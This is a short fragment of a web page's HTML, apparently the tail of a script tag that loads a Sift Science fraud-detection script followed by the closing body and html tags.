src="https://cdn.siftscience.com/s.js"></script></body></html>